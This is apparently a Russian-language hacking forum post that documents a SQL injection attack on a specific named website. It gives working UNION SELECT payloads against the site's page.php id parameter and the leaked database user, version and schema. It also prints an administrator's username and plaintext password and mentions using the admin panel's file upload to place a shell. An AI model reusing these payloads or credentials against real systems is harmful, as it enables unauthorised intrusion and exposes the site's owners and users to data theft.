|
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248
Репутация:
785
|
|
Какой то, самописный наверное, двиг.
В админке есть возможность заливки файлов на сервер. Шеллы палит.
csgn.org
Код HTML:
http://www.csgn.org/page.php?id=30+union+select+0,1,2,3,4,5,6,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+using+latin1),8,9,10,11,12,13,14,15/*
USER:ahiggins@WEB02.WGA.COM
VERSION:5.0.19-nt
DATABASE:csgn
Код HTML:
http://www.csgn.org/page.php?id=30+union+select+0,1,2,3,4,5,6,convert(concat(id,0x3a,name,0x3a,password)+using+latin1),8,9,10,11,12,13,14,15+from+user/*
Код HTML:
http://www.csgn.org/page.php?id=30+union+select+0,1,2,3,4,5,6,convert(concat(table_name)+using+latin1),8,9,10,11,12,13,14,15+from+information_schema.tables/*
- названия всех таблиц
Код HTML:
http://www.csgn.org/page.php?id=30+union+select+0,1,2,3,4,5,6,convert(concat(column_name)+using+latin1),8,9,10,11,12,13,14,15+from+information_schema.columns/*
- названия всех колонок
Таблица - user
Поля - id,name,password
1:ahiggins:new123 - админ
Раскрутил по полной  |